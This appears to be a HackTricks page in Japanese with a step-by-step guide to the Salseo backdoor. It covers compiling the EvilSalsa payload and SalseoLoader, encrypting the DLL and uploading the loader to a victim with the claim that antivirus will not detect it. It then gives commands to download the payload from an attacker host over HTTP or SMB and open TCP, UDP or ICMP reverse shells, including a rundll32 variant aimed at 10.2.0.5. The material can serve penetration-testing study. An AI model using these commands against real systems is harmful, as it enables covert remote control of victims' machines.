6.8 KiB
Raw Blame History

Salseo

{{#include ../banners/hacktricks-training.md}}

バイナリのコンパイル

GitHubからソースコードをダウンロードし、EvilSalsaSalseoLoaderをコンパイルします。コードをコンパイルするにはVisual Studioが必要です。

使用するWindowsボックスのアーキテクチャに合わせてこれらのプロジェクトをコンパイルしますWindowsがx64をサポートしている場合は、そのアーキテクチャ用にコンパイルしてください

Visual Studio左側の「Build」タブの**「Platform Target」アーキテクチャを選択**できます。

このオプションが見つからない場合は、「Project Tab」をクリックし、次に「<Project Name> Properties」**をクリックしてください。)

次に、両方のプロジェクトをビルドしますBuild -> Build Solutionログ内に実行可能ファイルのパスが表示されます

バックドアの準備

まず、EvilSalsa.dllをエンコードする必要があります。そのためには、Pythonスクリプトencrypterassembly.pyを使用するか、プロジェクトEncrypterAssemblyをコンパイルします。

Python

python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt

ウィンドウズ

EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt

わかりました。Salseoのすべてを実行するために必要なものは揃っています: エンコードされた EvilDalsa.dllSalseoLoader のバイナリ です。

SalseoLoader.exe バイナリをマシンにアップロードしてください。どのAVにも検出されないはずです...

バックドアを実行する

TCP リバースシェルを取得するHTTP 経由でエンコードされた dll をダウンロードする)

nc をリバースシェルリスナーとして起動し、エンコードされた evilsalsa を提供する HTTP サーバーを起動することを忘れないでください。

SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>

UDPリバースシェルの取得SMBを通じてエンコードされたdllをダウンロード

リバースシェルリスナーとしてncを起動し、エンコードされたevilsalsaを提供するためにSMBサーバーを起動することを忘れないでください。

SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>

ICMPリバースシェルの取得被害者の中にエンコードされたdllが既に存在する

今回は、リバースシェルを受信するためにクライアントに特別なツールが必要です。ダウンロードしてください: https://github.com/inquisb/icmpsh

ICMP応答を無効にする:

sysctl -w net.ipv4.icmp_echo_ignore_all=1

#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0

クライアントを実行する:

python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"

被害者の内部で、salseoのことを実行しましょう:

SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>

SalseoLoaderをDLLとしてコンパイルし、メイン関数をエクスポートする

Visual Studioを使用してSalseoLoaderプロジェクトを開きます。

メイン関数の前に追加: [DllExport]

このプロジェクトにDllExportをインストールする

ツール --> NuGetパッケージマネージャー --> ソリューションのNuGetパッケージを管理...

DllExportパッケージを検索ブラウズタブを使用、インストールを押すポップアップを受け入れる

プロジェクトフォルダーにDllExport.batDllExport_Configure.batのファイルが表示されます。

Uninstall DllExport

アンインストールを押します(変ですが、信じてください、必要です)

Visual Studioを終了し、DllExport_configureを実行する

Visual Studioを終了します。

次に、SalseoLoaderフォルダーに移動し、DllExport_Configure.batを実行します。

x64を選択しますx64ボックス内で使用する場合、私のケースではそうでしたSystem.Runtime.InteropServicesを選択します(DllExportの名前空間内)そして適用を押します。

Visual Studioでプロジェクトを再度開く

**[DllExport]**はもはやエラーとしてマークされていないはずです。

ソリューションをビルドする

出力タイプ = クラスライブラリを選択します(プロジェクト --> SalseoLoaderプロパティ --> アプリケーション --> 出力タイプ = クラスライブラリ)

x64 プラットフォームを選択します(プロジェクト --> SalseoLoaderプロパティ --> ビルド --> プラットフォームターゲット = x64

ソリューションをビルドするには: ビルド --> ソリューションのビルド出力コンソール内に新しいDLLのパスが表示されます

生成されたDllをテストする

テストしたい場所にDllをコピーして貼り付けます。

実行:

rundll32.exe SalseoLoader.dll,main

エラーが表示されない場合、おそらく機能するDLLがあります!!

DLLを使用してシェルを取得する

HTTP サーバーを使用し、nc リスナーを設定することを忘れないでください。

Powershell

$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main

CMD

set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main

{{#include ../banners/hacktricks-training.md}}